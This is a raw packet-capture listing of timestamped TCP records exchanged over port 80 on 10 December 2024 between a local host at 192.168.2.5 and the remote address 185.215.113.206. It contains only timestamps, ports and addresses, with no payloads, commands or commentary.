Dec 10, 2024 02:50:37.177700996 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.177723885 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.177746058 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.178488970 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.178507090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.178517103 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.178535938 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.178559065 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.179244041 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.179286003 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.179287910 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.179299116 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.179328918 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.179338932 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.180126905 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.180138111 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.180147886 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.180159092 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.180165052 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.180181026 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.180207968 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.180913925 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.180927038 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.180943012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.180954933 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.180974960 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.181720018 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.181730986 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.181740999 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.181765079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.181783915 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.182526112 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.182537079 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.182550907 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.182563066 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.182565928 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.182583094 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.182612896 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.183412075 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.183430910 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.183442116 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.183454037 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.183470964 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.184148073 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.184160948 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.184170961 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.184192896 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.184217930 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.184942007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.184954882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.184964895 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.184977055 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.184989929 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.185018063 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.185760021 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.185771942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.185786963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.185805082 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.185831070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.186563015 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.186574936 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.186584949 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.186604977 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.186628103 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.187366962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.187378883 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.187390089 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.187402010 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.187402010 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.187427044 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.187450886 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.188149929 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.188162088 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.188173056 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.188189983 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.188209057 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.188993931 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.189007998 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.189018965 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.189042091 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.189059973 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.189786911 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.189799070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.189810991 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.189821959 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.189821959 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.189845085 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.189872026 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.190593004 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.190612078 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.190622091 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.190639019 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.190660954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.191400051 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.191412926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.191422939 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.191452980 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.191466093 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.192209959 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.192222118 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.192233086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.192245007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.192255974 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.192266941 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.192298889 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.193010092 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.193021059 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.193031073 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.193047047 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.193063974 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.193788052 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.193800926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.193815947 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.193826914 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.193852901 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.194591045 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.194612026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.194629908 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.194643974 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.194653988 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.194668055 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.194689989 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.194708109 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.195437908 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.195451021 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.195461988 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.195485115 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.195508957 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.196259022 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.196271896 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.196281910 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.196293116 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.196311951 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.197042942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.197053909 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.197063923 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.197076082 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.197088003 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.197104931 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.197134018 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.197877884 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.197889090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.197900057 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.197921991 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.197948933 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.198657990 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.198671103 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.198681116 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.198692083 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.198698997 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.198719025 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.198744059 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.311031103 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.311113119 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.311127901 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.311165094 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.311481953 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.311528921 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.311594009 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.311630964 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.312386036 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.312429905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.312499046 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.312545061 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.313293934 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.313333988 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.313395977 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.313432932 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.314203024 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.314245939 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.314374924 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.314416885 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.315098047 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.315140963 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.315184116 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.315217018 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.315963030 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.316008091 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.316075087 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.316119909 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.316852093 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.316895008 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.316953897 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.316996098 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.317714930 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.317759991 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.317827940 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.317873001 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.318558931 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.318598986 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.318680048 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.318722963 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.319410086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.319457054 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.319514036 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.319557905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.320281982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.320328951 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.320415020 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.320456982 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.321126938 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.321168900 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.321204901 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.321238995 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.321929932 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.321990967 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.322025061 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.322065115 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.322755098 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.322812080 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.322845936 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.322890997 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.323592901 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.323642969 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.323707104 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.323749065 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.324412107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.324461937 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.324537039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.324583054 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.325253963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.325311899 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.325350046 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.325393915 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.326109886 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.326159954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.326193094 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.326226950 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.326915026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.326965094 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.326999903 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.327034950 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.327749014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.327791929 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.327842951 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.327883005 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.328586102 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.328620911 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.328704119 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.328742027 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.329423904 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.329467058 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.329566002 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.329602957 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.330245972 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.330286980 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.330343962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.330382109 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.331082106 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.331125975 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.331156969 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.331195116 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.331916094 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.331955910 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.332015038 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.332060099 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.332758904 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.332802057 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.332839012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.332880020 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.333614111 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.333658934 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.333720922 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.333760977 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.334419012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.334456921 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.334515095 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.334553957 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.335261106 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.335321903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.335366011 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.335403919 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.336086035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.336133957 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.336191893 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.336239100 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.336899042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.336956024 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.337032080 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.337070942 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.337749958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.337796926 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.337847948 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.337892056 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.338542938 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.338587999 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.339055061 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.339098930 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.339167118 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.339214087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.339524984 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.339575052 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.339643955 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.339685917 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.340419054 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.340465069 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.340533972 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.340579033 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.341208935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.341254950 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.341308117 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.341351032 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.342037916 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.342082024 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.342343092 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.342389107 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.342861891 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.342905998 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.342973948 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.343019009 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.343697071 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.343740940 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.343794107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.343842030 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.344563961 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.344609022 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.344727039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.344774961 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.345392942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.345448017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.345485926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.345527887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.346190929 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.346237898 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.346298933 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.346345901 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.347027063 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.347074032 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.347116947 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.347161055 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.347851038 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.347897053 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.347945929 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.347986937 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.348727942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.348790884 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.348804951 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.348834991 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.349534988 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.349581003 CET	49763	80	192.168.2.5	185.215.113.206
